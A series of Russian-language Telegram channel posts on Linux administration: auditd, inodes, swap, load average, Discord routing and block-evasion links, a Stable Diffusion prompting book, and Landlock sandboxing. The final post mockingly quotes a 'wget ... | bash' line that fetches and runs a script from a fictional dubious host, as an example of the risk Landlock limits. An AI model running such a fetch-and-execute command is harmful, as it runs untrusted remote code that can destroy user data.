Хотите узнать, что такое аудит и auditd для Linux? Аудит - это систематический процесс оценки соответствия системы заданным требованиям и оценки ее эффективности. Аuditd - это служба аудита, которая предназначена для мониторинга системных событий в системе Linux. Она помогает выявлять нарушения безопасности и уязвимости. Хотите узнать больше? Читайте статью!

Места на диске много, а файлы всё равно не записываются? Всё, приехали, закончились inode. Как этого избежать и как вообще рулить сервером если у вас миллионы мелких файлов - читайте в статье ⬇️

PDF❗

Да, я освоил генерацию pdf!

И это не та история в которой мы просто пихаем html в конвертер html2pdf, это именно полная генерация pdf файла из markdown без применения latex (с его 2 гб пакетов и триллионом подводных камней, пробовал)

Файлик тестовый, откройте его пожалуйста у себя и скажите, всё ли хорошо отображается на вашей читалке?

Эта увлекательная статья, в подробностях раскрывающая предназначение swap в Linux и отвечающая на распространённое заблуждение на этот счёт, написана Chris Down — SRE из Facebook, который, в частности, занимается разработкой новых метрик в ядре, помогающих анализировать нагрузку на оперативную память

Load Average (средняя загрузка) в Linux - это мера загруженности системы, которая отражает среднее количество процессов, выполняющихся в данный момент и ожидающих доступа к ресурсам процессора в течение заданного интервала времени (обычно 1, 5 и 15 минут). Значение Load Average может помочь системному администратору определить, насколько загружена система и какие процессы потребляют больше ресурсов. Обычно значение Load Average выше 1 означает, что система загружена, а значение 5 и выше указывает на серьезную проблему с производительностью, однако не всё так просто

Список IP адресов Discord, для тех, кто хочет настроить маршрутизацию трафика

https://github.com/GhostRooter0953/discord-voice-ips

#️⃣ #полезное #ркн

@Local_Area_Network

Статья об обходе блокировки

https://habr.com/ru/articles/849092/

Читайте комментарии к статье, не все способы дают возможность работать голосовым чатам

По голосовым вообще скорее всего только VPN поможет

#️⃣ #ркн

Creating Photorealistic Images With AI
Using Stable Diffusion

Отличная книга с крайне полезными советами по составлению промптов (подсказок) для генерации реалистичных изображений с использованием Stable Diffusion.

Автор книги не ставит себе целью рассказать о тысячах настроек модели и генерации, здесь упор делается именно на подсказках моделям, что писать, а что лучше не писать для получения желаемой картинки/видео/3д. Техническим аспектам генерации картинок практически не уделяется внимания. Это вы и сами найдёте ;)

И да, упор промптов в книге идёт на генерацию фотографий людей

📔Creating Photorealistic Images With AI. Using Stable Diffusion

#️⃣ #StableDiffusion #AI #книга

🔗 @Local_Area_Network

Landlock - это встроенный в ядро Linux модуль безопасности (LSM), который позволяет любому процессу, даже без прав суперпользователя, добровольно ограничить себя определенным набором правил. Это мощный инструмент для снижения рисков при запуске непроверенного или потенциально уязвимого кода

Свежая неплохая статья:
🔗 https://blog.prizrak.me/post/landlock/

📁 Что можно ограничить с помощью Landlock:
Файловая система - чтение, запись, создание или выполнение файлов только в разрешённых директориях
Сеть - привязку к TCP-портам или исходящие соединения

Для упрощения работы с Landlock и работы с ним через терминал - был создан проект Landrun, консольная утилита которая позволяет запускать любые приложения с ограничениями через Landlock
🔗https://github.com/Zouuup/landrun

📌 Требования к ядру:
Для базовых ограничений файловой системы требуется ядро Linux 5.13 или новее с включённым lsm=landlock
Для управления сетевым доступом (TCP) требуется ядро 6.7+

Интересный момент для разработчиков:
Landlock позволяет ограничивать ваше приложение слоями, где каждый новый слой может еще сильнее сжать ограничения, хотя такое послойное ограничение далеко не везде подойдёт, т.к. ограничения привязываются к тредам и наследуется всеми дочерними процессами и тредами

В общем - полезная вещь, чтобы подрезать непонятному скрипту из интернета крылья, а то мода на wget -O - https://please-trust-me.biz/rmrf | bash всё никак не закончится )

#️⃣ #Landlock #Linux #Администрирование #Безопасность #Песочница